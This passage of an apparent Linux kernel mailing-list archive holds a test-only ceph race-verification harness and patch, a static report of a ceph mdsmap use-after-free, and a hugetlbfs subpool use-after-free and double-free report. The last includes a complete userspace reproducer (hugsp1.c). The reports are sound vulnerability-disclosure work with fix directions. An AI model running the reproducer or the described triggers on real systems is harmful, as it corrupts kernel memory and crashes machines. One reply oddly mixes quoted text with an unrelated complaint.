	}
	rv_mdsc = rv_fsc->mdsc;

	/* Neutralize the delayed_work timer before the first map delivery,
	 * so the work item early-returns instead of running cap machinery.
	 */
	rv_mdsc->stopping = CEPH_MDSC_STOPPING_FLUSHED;

	ret = rv_deliver_map(2, 1);
	if (ret)
		return ret;
	flush_delayed_work(&rv_mdsc->delayed_work);

	/* The real debugfs show callback, using the real mdsmap_fops. */
	ceph_race_create_mdsmap_file(rv_fsc, rv_dir);

	pr_info("CEPHV: setup done, epoch=%u stopping=%d\n",
		rv_cur_epoch, (int)rv_mdsc->stopping);
	return 0;
}

/* ------------------------------------------------------------------ */
/* Stall hook called from the real mdsmap_show() after it snapshots */
/* fsc->mdsc->mdsmap (debugfs.c:66 in the unmodified tree). */
/* ------------------------------------------------------------------ */

void ceph_race_verify_pause(struct ceph_mds_client *mdsc,
struct ceph_mdsmap *mdsmap)

{
	if (!READ_ONCE(rv_pause_enabled) || !rv_mdsc)
		return;
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	atomic_set(&rv_loaded, 0);
}

/* ------------------------------------------------------------------ */ /* Kernel-thread readers: faithful replicas of the audited read sites */ /* ------------------------------------------------------------------ */

enum rv_reader_kind {
	RV_R_STATFS = 1,	/* super.c:68-69   (ceph_statfs) */
	RV_R_TOCTOU,		/* super.c:69      (double load) */
	RV_R_XATTR,		/* xattr.c:1237    (__ceph_setxattr) */
	RV_R_RENEW,		/* mds_client.c:2130/2179 */
	RV_R_PEER,		/* mds_client.c:5227 */
};

static int rv_reader_fn(void *arg)

{
	long kind = (long)arg;
	struct ceph_mdsmap *m, *m2;
	u64 val = 0;
	u32 u32v = 0;
	int st;

	m = READ_ONCE(rv_mdsc->mdsmap);
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);

	switch (kind) {
	case RV_R_STATFS:
		u32v = m->m_num_data_pg_pools;
		if (u32v == 1) {
			u64 *p = m->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_TOCTOU:
		u32v = m->m_num_data_pg_pools;
		m2 = READ_ONCE(rv_mdsc->mdsmap);
		if (u32v == 1) {
			u64 *p = m2->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_XATTR:
		val = m->m_max_xattr_size;
		break;
	case RV_R_RENEW:
		u32v = m->m_session_timeout;
		break;
	case RV_R_PEER:
		st = ceph_mdsmap_get_state(m, 0);
		{
			struct ceph_entity_addr addr;
			struct ceph_entity_addr *a =
				ceph_mdsmap_get_addr(m, 0);
			if (a)
				memcpy(&addr, a, sizeof(addr));
			pr_info("CEPHV: peer replica state=%d addr=%p\n",
				st, a);
		}
		return 0;
	default:
		return -EINVAL;
	}

	pr_info("CEPHV: reader kind=%ld val=%llu u32=%u\n", kind,
		(unsigned long long)val, u32v);
	return 0;
}

/* Real production reader: ceph_mdsmap_is_cluster_available() on a
* previously snapshotted map (the ceph_get_tree() out_splat pattern). */
static int rv_reader3_fn(void *arg)

{
	struct ceph_mdsmap *m = READ_ONCE(rv_mdsc->mdsmap);
	bool avail;

	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	avail = ceph_mdsmap_is_cluster_available(m);
	pr_info("CEPHV: reader3 avail=%d\n", avail);
	return 0;
}

static int rv_spawn(int (*fn)(void *), long kind, const char *name,
struct task_struct **out)

{
	struct task_struct *t = kthread_run(fn, (void *)kind, "%s", name);

	if (IS_ERR(t))
		return PTR_ERR(t);
	if (out)
		*out = t;
	return 0;
}

static void rv_release(void)

{
	atomic_set(&rv_released, 1);
	complete_all(&rv_go);
}

/* ------------------------------------------------------------------ */
/* control file */
/* ------------------------------------------------------------------ */

static ssize_t rv_ctl_write(struct file *f, const char __user *ubuf,
size_t len, loff_t *off)

{
	struct task_struct *t;
	char buf[32];
	int ret = 0;

	if (len >= sizeof(buf))
		return -EINVAL;
	if (copy_from_user(buf, ubuf, len))
		return -EFAULT;
	buf[len] = 0;
	strim(buf);

	if (!strcmp(buf, "setup")) {
		ret = rv_setup();
	} else if (!strcmp(buf, "arm")) {
		rv_pause_enabled = true;
		reinit_completion(&rv_go);
		atomic_set(&rv_loaded, 0);
		atomic_set(&rv_released, 0);
		pr_info("CEPHV: armed (pause hook enabled)\n");
	} else if (!strcmp(buf, "trigger")) {
		ret = rv_deliver_map(rv_cur_epoch + 1, 1);
		pr_info("CEPHV: trigger epoch=%u pools=1\n", rv_cur_epoch);
	} else if (!strcmp(buf, "trigger0")) {
		ret = rv_deliver_map_ex(rv_cur_epoch + 1, 0, 0);
		pr_info("CEPHV: trigger epoch=%u pools=0\n", rv_cur_epoch);
	} else if (!strcmp(buf, "release")) {
		rv_release();
		pr_info("CEPHV: released\n");
	} else if (!strcmp(buf, "reader3")) {
		ret = rv_spawn(rv_reader3_fn, 0, "cephrv3", &t);
	} else if (!strcmp(buf, "rep")) {
		ret = rv_spawn(rv_reader_fn, RV_R_STATFS, "cephrv-s", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_XATTR, "cephrv-x", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_RENEW, "cephrv-r", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_PEER, "cephrv-p", NULL);
	} else if (!strcmp(buf, "rep0")) {
		ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t0", NULL);
	} else if (!strcmp(buf, "noop")) {
		ret = 0;
	} else {
		ret = -EINVAL;
	}

	if (ret)
		return ret;
	return len;
}

static const struct file_operations rv_ctl_fops = {
.write = rv_ctl_write,
};

static int rv_state_show(struct seq_file *s, void *unused)

{
	seq_printf(s, "mdsc=%d epoch=%u loaded=%d released=%d pause=%d stopping=%d\n",
		   rv_mdsc ? 1 : 0, rv_cur_epoch,
		   atomic_read(&rv_loaded), atomic_read(&rv_released),
		   rv_pause_enabled ? 1 : 0,
		   rv_mdsc ? (int)rv_mdsc->stopping : -1);
	return 0;
}

DEFINE_SHOW_ATTRIBUTE(rv_state);

static int __init rv_init(void)

{
	rv_dir = debugfs_create_dir("cephrace", NULL);
	if (IS_ERR_OR_NULL(rv_dir))
		return 0;
	debugfs_create_file("control", 0200, rv_dir, NULL, &rv_ctl_fops);
	debugfs_create_file("state", 0400, rv_dir, NULL, &rv_state_fops);
	pr_info("CEPHV: harness loaded\n");
	return 0;
}

late_initcall(rv_init);

fs/ceph/debugfs.c +12 -0
@@ -20,6 +20,8 @@
 
 #include "super.h"
 
+#include "race_verify.h"
+
 #ifdef CONFIG_DEBUG_FS
 
 #include "mds_client.h"
@@ -64,6 +66,7 @@
 	if (!fsc->mdsc || !fsc->mdsc->mdsmap)
 		return 0;
 	mdsmap = fsc->mdsc->mdsmap;
+	ceph_race_verify_pause(fsc->mdsc, mdsmap);
 	seq_printf(s, "epoch %d\n", mdsmap->m_epoch);
 	seq_printf(s, "root %d\n", mdsmap->m_root);
 	seq_printf(s, "max_mds %d\n", mdsmap->m_max_mds);
@@ -531,6 +534,15 @@
 }
 
 DEFINE_SHOW_ATTRIBUTE(mdsmap);
+
+#ifdef CONFIG_CEPH_RACE_VERIFY
+/* TEST ONLY: expose the real mdsmap_show() fops on a harness directory. */
+void ceph_race_create_mdsmap_file(struct ceph_fs_client *fsc,
+				  struct dentry *parent)
+{
+	debugfs_create_file("mdsmap", 0400, parent, fsc, &mdsmap_fops);
+}
+#endif
 DEFINE_SHOW_ATTRIBUTE(mdsc);
 DEFINE_SHOW_ATTRIBUTE(caps);
 DEFINE_SHOW_ATTRIBUTE(mds_sessions);
fs/ceph/Makefile +1 -0
@@ -13,3 +13,4 @@
 ceph-$(CONFIG_CEPH_FSCACHE) += cache.o
 ceph-$(CONFIG_CEPH_FS_POSIX_ACL) += acl.o
 ceph-$(CONFIG_FS_ENCRYPTION) += crypto.o
+ceph-$(CONFIG_CEPH_RACE_VERIFY) += race_verify.o
fs/ceph/Kconfig +9 -0
@@ -47,3 +47,12 @@
 
 	  If you are not using a security module that requires using
 	  extended attributes for file security labels, say N.
+
+config CEPH_RACE_VERIFY
+	bool "Ceph mdsmap lifetime race verification harness (TEST ONLY)"
+	depends on CEPH_FS && DEBUG_FS
+	help
+	  Test-only instrumentation used to dynamically verify mdsmap
+	  lifetime races (publish+destroy vs. lockless readers).  Not for
+	  production kernels.
+
#84 lore raw

Re: fs/ceph: caps renew paths read mdsmap->m_session_timeout without mdsc->mutex (UAF)

Quoted 8 lines · 徐晗翔

* Suggested direction

Read m_session_timeout (and the rank state) into local variables under mdsc->mutex before dropping it, and pass the values down; the lock order s_mutex -> mdsc->mutex is already established (comment at send_mds_reconnect(), mds_client.c:5182). RCU publication would also work.

Please keep me in Cc; I am not subscribed to the lists.

Why? You never responded to any other query we asked for the last month!

Best regards,
Krzysztof

author
#85 lore raw

fs/ceph: MDS connections can deliver CEPH_MSG_MDS_MAP and re-enter ceph_mdsc_handle_mdsmap() (UAF)

In reply to Greg KH

mds_dispatch() dispatches CEPH_MSG_MDS_MAP from any connection (mds_client.c:7215-7216) and mds_alloc_msg() allocates an skb for any message type (7384-7403); ceph_con_process_message() calls ->dispatch() after dropping con->mutex (messenger.c:1413/1424), so two connection works can run ceph_mdsc_handle_mdsmap() concurrently. Inside that function check_new_map() drops mdsc->mutex at 5881/5900/5919/5941/5991 while mdsc->mdsmap already points at this writer's newmap; a second writer that passes the epoch check publishes its own map and frees the first writer's newmap as oldmap (7061), and the first writer resumes using its local newmap and the published pointer -> use-after-free. A malicious or defective MDS can drive this deterministically: it controls the epoch (decoded from the map, mdsmap.c:148; filtered at mds_client.c:7044) and can supply a map that forces the first writer into an unlocked window. This is a protocol hardening issue (no connection-type/msg-type validation) on top of the same missing RCU/refcount lifetime; I have not reproduced it dynamically.

The detailed description:

* Test environment / affected version

Linux 7.3.0 tree (Makefile: VERSION 7, PATCHLEVEL 3, SUBLEVEL 0) at /home/xuhanxiang/project/race/linux, not a git checkout:

    fs/ceph/mds_client.c   8678459253e5b1452667946bf4457c5a
    fs/ceph/mdsmap.c       5cb2b54f0d3007961c36e68da1f6318c
    net/ceph/messenger.c   87b3dea680e86b1e2dd0cc901004178f

All line numbers are from this tree. Static analysis only; no dynamic reproduction for this one.

* Mechanism

mds_dispatch() (mds_client.c:7198-7253) validates the session, then:

        switch (type) {
        case CEPH_MSG_MDS_MAP:
                ceph_mdsc_handle_mdsmap(mdsc, msg);
                break;
        ...

There is no check that the message arrived on the mon connection (the normal path is extra_mon_dispatch(), super.c:795-807) rather than on an MDS connection. mds_alloc_msg() (mds_client.c:7384-7403) allocates for any type, and ceph_con_process_message() (messenger.c:1408-1427) releases con->mutex at 1413 before calling con->ops->dispatch() at 1424, so dispatch (and therefore ceph_mdsc_handle_mdsmap()) runs without con->mutex.

ceph_mdsc_handle_mdsmap() then:

        mutex_lock(&mdsc->mutex);
        if (mdsc->mdsmap && epoch <= mdsc->mdsmap->m_epoch) { ... return; }
        newmap = ceph_mdsmap_decode(...);
        if (mdsc->mdsmap) {
                oldmap = mdsc->mdsmap;
                mdsc->mdsmap = newmap;
                check_new_map(mdsc, newmap, oldmap);   /* drops mutex! */
                ceph_mdsmap_destroy(oldmap);
        }

check_new_map() unlocks mdsc->mutex at 5881/5900/5919/5941/5991 while mdsc->mdsmap == newmap (W1's map) and W1 keeps using its local newmap afterwards (5867/5967/6005/6011). A second writer W2 that acquires the mutex publishes its own map and, because mdsc->mdsmap is W1's newmap, frees it as oldmap at 7061. W1 then resumes and dereferences freed memory (its local newmap, and mdsc->mdsmap at 7065/7068/7070).

Epoch control: the map epoch is decoded from the message payload (mdsmap.c:148) and only compared with mdsc->mdsmap->m_epoch (mds_client.c:7044-7048); a malicious MDS knows the current epoch and can send epoch+1. To force W1 into an unlocked window, the crafted map can, for example, set possible_max_rank smaller than an existing session rank (the 5876 branch) so check_new_map() takes the branch that drops the mutex.

* Trigger model

- Requires a malicious, compromised or defective MDS (or a peer able to send MDS-map messages on an MDS connection). This is not reachable by a normal client and not by unprivileged local users.
- If it happens, the consequence is kernel memory corruption (UAF write/ read) in the client, i.e. oops/DoS.

* Reproducer

None attached: this report is static-only. The dynamic harness used for the other reports cannot reach the MDS connection dispatch path without a live MDS session, and constructing a malicious MDS was out of scope.

* Suggested direction

Reject CEPH_MSG_MDS_MAP (and FS_MAP_USER) on non-mon connections in mds_dispatch(), or validate in mds_alloc_msg() that the message type is allowed for the connection; and publish mdsc->mdsmap with RCU so a writer that drops mdsc->mutex inside check_new_map() cannot have its newmap freed by another writer.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

author
#86 lore raw

mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF)

In reply to Greg KH

A hugetlbfs mount that sets only min_size= (no size=) leaves hugepage_subpool::used_hpages unmaintained and clamps ::rsv_hpages to min_hpages, so subpool_is_free() can report "free" while folios that still carry the subpool pointer are in flight. The destroy decision is taken under spool->lock but the field reads, hugetlb_acct_memory() and kfree() happen after the unlock, and only superblock handles are counted (spool->count), not folios. A page that a user pinned with vmsplice() outlives evict_inodes() and put_super(); when the pin is finally released, free_huge_folio() calls hugepage_subpool_put_pages() on the freed object:
it spin_lock_irqsave()s the freed slab and dereferences spool->hstate / spool->min_hpages. KASAN reports slab-use-after-free at the lock acquisition; on a kernel without KASAN/quarantine the same path reaches a second kfree(spool) and hugetlb_acct_memory(h, -min_hpages), i.e. a double free plus an unsigned underflow of hstate.resv_huge_pages. The whole PoC-A sequence is single-threaded and deterministic - no race window needs to be widened - and three variants reproduce on 7.3.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 #6 SMP PREEMPT_DYNAMIC (gcc 13.3.0), built from the unmodified release tree used for the audit:
mm/hugetlb.c md5 cea0533ab009942534c1da41717ec926, fs/hugetlbfs/inode.c md5 c63e24ddfa05e6d43ef89dfcb91da251.
Config: CONFIG_KASAN=y, CONFIG_KASAN_GENERIC=y, CONFIG_KASAN_OUTLINE=y, CONFIG_KASAN_STACK=y, CONFIG_HUGETLBFS=y, CONFIG_HUGETLB_PAGE=y. QEMU/KVM x86_64 guest, 4 vCPU / 4 GiB, booted with "hugepages=8 default_hugepagesz=2M" (8 x 2 MiB pages available). All line numbers below are from that tree.

* Mechanism

Three layers combine; each one alone would be survivable.

1) In a min-only subpool the accounting is no longer tied to folios. hugepage_subpool_get_pages() only maintains used_hpages inside the "if (spool->max_hpages != -1)" branch (mm/hugetlb.c:213-219), and its min branch only runs "if (spool->min_hpages != -1 && spool->rsv_hpages)" (:222-231); with rsv_hpages == 0 it returns the initial ret = delta and records nothing. hugepage_subpool_put_pages() therefore sees used_hpages == 0 forever, executes the min branch on every put (:265-276), adds delta back to rsv_hpages and clamps it to min_hpages (:268-269). Consequently subpool_is_free() (:129-139) degenerates to "rsv_hpages == min_hpages" and keeps returning true after the first put. The comment at :270-273 explicitly acknowledges that put_super may not be able to free the spool because pages are still out, and defers the free to the page path - i.e. pages outliving the superblock is a designed-for situation, but the code only counts superblock handles, not the pages.

2) The folio keeps a raw pointer, and count tracks only superblock handles. spool->count is set to 1 in hugepage_new_subpool() (:169) and decremented only in hugepage_put_subpool() (:192); its only callers are hugetlbfs_put_super() (fs/hugetlbfs/inode.c:1131, in the code next to :1132) and the fill_super error path (fs/hugetlbfs/inode.c:1421). Meanwhile alloc_hugetlb_folio() unconditionally stores the bare pointer with hugetlb_set_folio_subpool(folio, spool) (mm/hugetlb.c:3043), and free_huge_folio() copies it into a local before clearing the folio field (mm/hugetlb.c:1681, :1688, :1710), so clearing the field cannot save the later user.

3) The destroy decision and the destroy action are not one atomic step.

     unlock_or_release_subpool() (mm/hugetlb.c:141-157):

         bool free_subpool = subpool_is_free(spool);      /* :144, lock held */
         spin_unlock_irqrestore(&spool->lock, irq_flags); /* :149 */
         if (free_subpool) {
                 if (spool->min_hpages != -1)             /* :152 */
                         hugetlb_acct_memory(spool->hstate, /* :153 */
                                             -spool->min_hpages);
                 kfree(spool);                            /* :155 */
         }

     There is no "dying" flag and no ownership claim, so a second entrant
     that computed free_subpool == true before the first kfree() (or any
     later entrant that runs after it) reads spool->hstate and
     spool->min_hpages from freed memory and kfree()s the same object
     again.  hugetlb_acct_memory() itself drops and retakes
     hugetlb_lock inside return_unused_surplus_pages()
     (mm/hugetlb.c:2347-2388, with update_and_free_pages_bulk() in the
     middle), which makes the post-unlock window schedulable.

The page-cache reference accounting is the reason a page can be the last user: insertion in hugetlb_add_to_page_cache() clears restore_reserve (mm/hugetlb.c:5715), so the folio's free path always takes the hugepage_subpool_put_pages() branch (:1703-1712); the page cache itself holds folio_nr_pages() references (mm/filemap.c:848-950, folio_ref_add(folio, 512) for a 2 MiB page) and removal drops exactly that many (mm/filemap.c:230-240); the faulting PTE reference is returned by the zap path, whose mmu-gather entry puts one reference (mm/mmu_gather.c:214-217, mm/folio.c:91-108, mm/filemap.c:1052-1078). With an extra vmsplice() pin (fs/splice.c:1447-1495, lib/iov_iter.c:1063-1128, released by fs/splice.c:108-113 -> put_page()), evict_inodes() (fs/super.c:737) removes the page-cache reference but the folio survives, put_super() (fs/super.c:750-751 -> fs/hugetlbfs/inode.c:1125-1136) frees the spool, and the later unpin reaches free_huge_folio() with a dangling spool.

Concrete PoC-A sequence (all as root, single thread):
1. mount -t hugetlbfs -o min_size=0 none /mnt/huge (min_size=0 is accepted: fs/hugetlbfs/inode.c:1270-1345 parses it, :1245-1265 turns it into min_hpages = 0, :1345-1370 only rejects min > max when max was given; the spool is created at fs/hugetlbfs/inode.c:1396-1402)
2. ftruncate(fd, 2M); mmap(..., MAP_SHARED); fault page 0 (allocates a folio, stores the subpool pointer, adds it to the page cache)
3. vmsplice(pipe[1], {addr, 4096}, 1, 0) - pin one 4 KiB subpage
4. munmap(); close(fd) - zap returns the PTE ref,
evict_inode removes the page-cache refs and calls hugetlb_unreserve_pages() (fs/hugetlbfs/inode.c:552-591); the folio still has the pin
5. umount - evict_inodes() finds
nothing to evict, hugetlbfs_put_super() drops the last handle, subpool_is_free() is true (rsv_hpages == min_hpages == 0), hugetlb_acct_memory(h, 0) is a no-op and kfree(spool) runs
6. read(pipe[0], ...) - put_page() drops the
last reference -> free_huge_folio() -> hugepage_subpool_put_pages() spins on and reads the freed object

PoC-B is the same with min_size=2M: mmap 4M, fault+pin page 0 only, ftruncate(fd, 2M) puts rsv_hpages back to min_hpages through hugetlb_unreserve_pages() -> hugepage_subpool_put_pages() (mm/hugetlb.c:6861-6900), then the same close/umount/unpin sequence. Because min_hpages == 1, the second destroy also calls hugetlb_acct_memory(h, -1), and struct hstate::resv_huge_pages is an unsigned long (include/linux/hugetlb.h:667), so it underflows to 2^64-1.

* Reproducer (attached: hugsp1.c) and results on 7.3

hugsp1.c is a self-contained static userspace program; no kernel modification and no module needed. It mounts hugetlbfs itself and has four modes: poca (min_size=0), pocb (min_size=2M + ftruncate), poca2 (two pinned pages) and ctl (negative control that unpins before umount).

    # build
    gcc -O2 -static -o hugsp1 hugsp1.c
    # boot the KASAN kernel with: hugepages=8 default_hugepagesz=2M
    # run (as root, in the guest)
    ./hugsp1 ctl        # expect: "ctl done", no KASAN report
    ./hugsp1 poca       # expect: slab-use-after-free after umount
    ./hugsp1 pocb       # same, plus acct(-min) -> resv_huge_pages underflow
    ./hugsp1 poca2      # two delayed frees

Observed on the 7.3.0 KASAN guest (single-shot run, panic on first report; KASAN multi_shot=1 runs show the same report repeatedly):

- poca : 1 report at 15.583 s, "BUG: KASAN: slab-use-after-free in _raw_spin_lock_irqsave+0x77/0xe0", "Write of size 4" - the queued_spin_lock() inside hugepage_subpool_put_pages(); allocation stack: hugepage_new_subpool+0x37/0xd0 <- hugetlbfs_fill_super+0x16b/0x390 <- path_mount <- __x64_sys_mount; free stack: kfree <- hugetlbfs_put_super+0x3e/0x50 <- generic_shutdown_super <- kill_anon_super <- cleanup_mnt; use stack: hugepage_subpool_put_pages.part.0+0x19/0x1c0 <- free_huge_folio+0x13e/0x2f0 <- __folio_put+0x13b/0x150 <- page_cache_pipe_buf_release+0x7d/0xa0 <- anon_pipe_read+ 0x290/0x630 (the "kfree <- hugetlbfs_put_super+0x3e" shape is the tail call jmp from hugepage_put_subpool()).
- pocb : same report at 13.929 s.
- poca2: same report at 14.400 s.
- ctl : 0 KASAN reports (the pin is released while count == 1, so subpool_is_free() is false and nothing is freed).
- a 70 s multi_shot run produced 51 reports plus a spin-loop hang (8452 printk messages dropped, VM killed by the harness timeout): the freed object is re-used by KASAN's quarantine metadata, which overwrites spool->lock and leaves the lock slot non-zero, so the second-entrant path spins forever instead of reaching the second kfree().

With CONFIG_KASAN=n the same unpin path is expected to reach the second kfree(spool) (and, for min_size>0, hugetlb_acct_memory(h, -1) which subtracts from an unsigned long). The audit report includes a line-by-line model of that path and a self-check list (it is not claimed as dynamically observed here).

* Suggested direction

The fix needs both layers, otherwise each half leaves the other open:

(a) make the destroy decision account for folios, not just superblock handles. Either maintain used_hpages for every folio regardless of max_hpages (and let subpool_is_free() require used_hpages == 0), or add an active_folios counter incremented in hugetlb_set_folio_subpool()/alloc_hugetlb_folio() and decremented in free_huge_folio(); in min-only mode subpool_is_free() must not become true while any folio still references the spool.

(b) make destroy ownership atomic. Take a "dying" bit under spool->lock in unlock_or_release_subpool(), and let only the context that transitions from live to dying read min_hpages/hstate, call hugetlb_acct_memory() and kfree(); every other entrant must return without touching the object after the unlock. The current shape (decide under lock, act after unlock, no claim) is a UAF even without the accounting bug.

(c) preferably do not store a bare spool pointer in a folio at all (reference-count the subpool per folio, or make the unmap/put path drain before the superblock goes away); as defense in depth, WARN_ONCE when a folio still carries a subpool pointer at put_super() time would have made this visible in testing.

Happy to test any proposal; the reproducer and the KASAN logs are small and repeatable.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

/*
* hugsp1.c - userspace reproducer for MM-HUGETLB-SP-01
* ("hugetlbfs minimum-only subpool lifetime race": slab-use-after-free +
* double-free in hugepage_subpool_put_pages()/unlock_or_release_subpool()). *
* Static build:
* gcc -O2 -static -o hugsp1 hugsp1.c
*
* Modes:

 *   poca   mount -o min_size=0; one page; fault it; pin one 4K sub-page with
 *          vmsplice(); unmap; close; umount (page still pinned -> folio
 *          outlives superblock, spool is kfree()d by hugepage_put_subpool());
 *          then read the pipe -> put_page -> free_huge_folio() uses the
 *          freed spool.
 *   pocb   mount -o min_size=2M; 4M mmap, only page 0 faulted+pinned;
 *          ftruncate to 2M (unreserve puts rsv_hpages back to min_hpages);
 *          close; umount -> same as poca but acct(-min) also underflows the
 *          global hstate.resv_huge_pages.
 *   poca2  two pages pinned, both released after umount (two delayed frees).
 *   ctl    negative control: same as poca but unpin before umount.

*
* On a KASAN kernel the expected reports are
* BUG: KASAN: slab-use-after-free in hugepage_subpool_put_pages
* BUG: KASAN: double-free in kfree
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/uio.h>

#define HPAGE (2UL * 1024 * 1024) /* default huge page size on x86-64 */
#define PINLEN 4096

static int pipefd[2] = { -1, -1 };
static char drainbuf[PINLEN * 4];

static void die(const char *what)

{
	printf("HUGSP1: FAIL %s: errno=%d (%s)\n", what, errno, strerror(errno));
	exit(1);
}

static void check_hugepages(void)

{
	FILE *f = fopen("/proc/meminfo", "r");
	char line[256];
	long total = -1;

	if (!f)
		return;
	while (fgets(line, sizeof(line), f)) {
		if (sscanf(line, "HugePages_Total: %ld", &total) == 1)
			break;
	}
	fclose(f);
	printf("HUGSP1: HugePages_Total=%ld Hugepagesize=%lukB\n", total,
	       HPAGE / 1024);
	if (total <= 0) {
		printf("HUGSP1: FAIL no huge pages reserved at boot\n");
		exit(1);
	}
}

static void setup_mount(const char *opts)

{
	mkdir("/mnt", 0755);
	if (mkdir("/mnt/huge", 0755) && errno != EEXIST)
		die("mkdir /mnt/huge");
	if (mount("none", "/mnt/huge", "hugetlbfs", 0, opts))
		die("mount hugetlbfs");
	printf("HUGSP1: mounted hugetlbfs (\"%s\")\n", opts);
}

static void make_pipe(void)

{
	if (pipe(pipefd))
		die("pipe");
}

static void pin_page(const void *addr, const char *tag)

{
	struct iovec iov;
	ssize_t n;

	iov.iov_base = (void *)addr;
	iov.iov_len = PINLEN;
	n = vmsplice(pipefd[1], &iov, 1, 0);
	if (n != PINLEN) {
		printf("HUGSP1: vmsplice(%s) -> %zd errno=%d (%s)\n", tag, n,
		       errno, strerror(errno));
		exit(1);
	}
	printf("HUGSP1: pinned 4K at %p via vmsplice (%s)\n", addr, tag);
}

static void drain_pin(const char *tag)

{
	ssize_t n;

	fflush(stdout);
	n = read(pipefd[0], drainbuf, PINLEN);
	printf("HUGSP1: drained %zd bytes from pipe (%s) -> put_page\n", n, tag);
	fflush(stdout);
}

static void close_pipe(void)

{
	if (pipefd[0] >= 0)
		close(pipefd[0]);
	if (pipefd[1] >= 0)
		close(pipefd[1]);
	pipefd[0] = pipefd[1] = -1;
}

static int do_umount(void)

{
	if (umount2("/mnt/huge", 0) == 0)
		return 0;
	printf("HUGSP1: umount -> errno=%d (%s), retry MNT_DETACH\n", errno,
	       strerror(errno));
	return umount2("/mnt/huge", MNT_DETACH);
}

/*
* poca: mount min_size=0, fault one huge page, pin it, unmap, close, umount,
* then release the pin. By the time the pin is released the superblock and
* the hugepage_subpool object are gone, but the pinned folio still carries
* the (now dangling) spool pointer.
*/
static void run_poca(int two_pages)

{
	void *p, *p2 = NULL;
	int fd;

	setup_mount("min_size=0");
	make_pipe();
	fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600);
	if (fd < 0)
		die("open /mnt/huge/f");
	if (ftruncate(fd, two_pages ? 2 * HPAGE : HPAGE))
		die("ftruncate i_size");
	p = mmap(NULL, two_pages ? 2 * HPAGE : HPAGE, PROT_READ | PROT_WRITE,
		 MAP_SHARED, fd, 0);
	if (p == MAP_FAILED)
		die("mmap");
	*(volatile char *)p = 0x41;	/* fault page 0 into the page cache */
	printf("HUGSP1: faulted page 0\n");
	if (two_pages) {
		p2 = (char *)p + HPAGE;
		*(volatile char *)p2 = 0x42;
		printf("HUGSP1: faulted page 1\n");
	}
	pin_page(p, "page0");
	if (two_pages)
		pin_page(p2, "page1");
	if (munmap(p, two_pages ? 2 * HPAGE : HPAGE))
		die("munmap");
	close(fd);
	printf("HUGSP1: unmapped + closed; page cache refs dropped, pin held\n");
	if (do_umount())
		die("umount");
	printf("HUGSP1: umounted -> hugepage_put_subpool() ran\n");
	fflush(stdout);
	drain_pin(two_pages ? "page0" : "page0");
	if (two_pages)
		drain_pin("page1");
	close_pipe();
	printf("HUGSP1: poca done\n");
}

/*
* pocb: min_size=2M. Reserve two pages by mmap(4M), fault+pin only page 0,
* then ftruncate to 2M so that hugetlb_unreserve_pages() puts rsv_hpages back
* to min_hpages while page 0 is still pinned.
*/
static void run_pocb(void)

{
	void *p;
	int fd;

	setup_mount("min_size=2M");
	make_pipe();
	fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600);
	if (fd < 0)
		die("open /mnt/huge/f");
	if (ftruncate(fd, 2 * HPAGE))
		die("ftruncate 4M");
	p = mmap(NULL, 2 * HPAGE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (p == MAP_FAILED)
		die("mmap 4M");
	*(volatile char *)p = 0x41;
	printf("HUGSP1: faulted page 0 (page 1 left untouched)\n");
	pin_page(p, "page0");
	if (munmap(p, 2 * HPAGE))
		die("munmap");
	if (ftruncate(fd, HPAGE))
		die("ftruncate 2M");
	printf("HUGSP1: truncated to 2M -> rsv_hpages back to min_hpages\n");
	close(fd);
	if (do_umount())
		die("umount");
	printf("HUGSP1: umounted -> hugepage_put_subpool() ran\n");
	fflush(stdout);
	drain_pin("page0");
	close_pipe();
	printf("HUGSP1: pocb done\n");
}

/*
* ctl: negative control. The pin is released while the superblock is still
* alive, so free_huge_folio() sees a live subpool (count == 1) and nothing is
* freed -> no KASAN report expected.
*/
static void run_ctl(void)

{
	void *p;
	int fd;

	setup_mount("min_size=0");
	make_pipe();
	fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600);
	if (fd < 0)
		die("open /mnt/huge/f");
	if (ftruncate(fd, HPAGE))
		die("ftruncate");
	p = mmap(NULL, HPAGE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (p == MAP_FAILED)
		die("mmap");
	*(volatile char *)p = 0x41;
	pin_page(p, "page0");
	if (munmap(p, HPAGE))
		die("munmap");
	drain_pin("page0");	/* unpin while sb alive: spool count == 1 */
	close_pipe();
	close(fd);
	if (do_umount())
		die("umount");
	printf("HUGSP1: ctl done (expected: no KASAN report)\n");
}

int main(int argc, char **argv)

{
	const char *mode = argc > 1 ? argv[1] : "poca";

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("HUGSP1: start mode=%s\n", mode);
	check_hugepages();
	if (!strcmp(mode, "poca"))
		run_poca(0);
	else if (!strcmp(mode, "poca2"))
		run_poca(1);
	else if (!strcmp(mode, "pocb"))
		run_pocb();
	else if (!strcmp(mode, "ctl"))
		run_ctl();
	else {
		printf("HUGSP1: unknown mode %s\n", mode);
		return 1;
	}
	printf("HUGSP1: end\n");
	return 0;
}
#87 lore raw

Re: mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF)

Quoted 17 lines · 徐晗翔

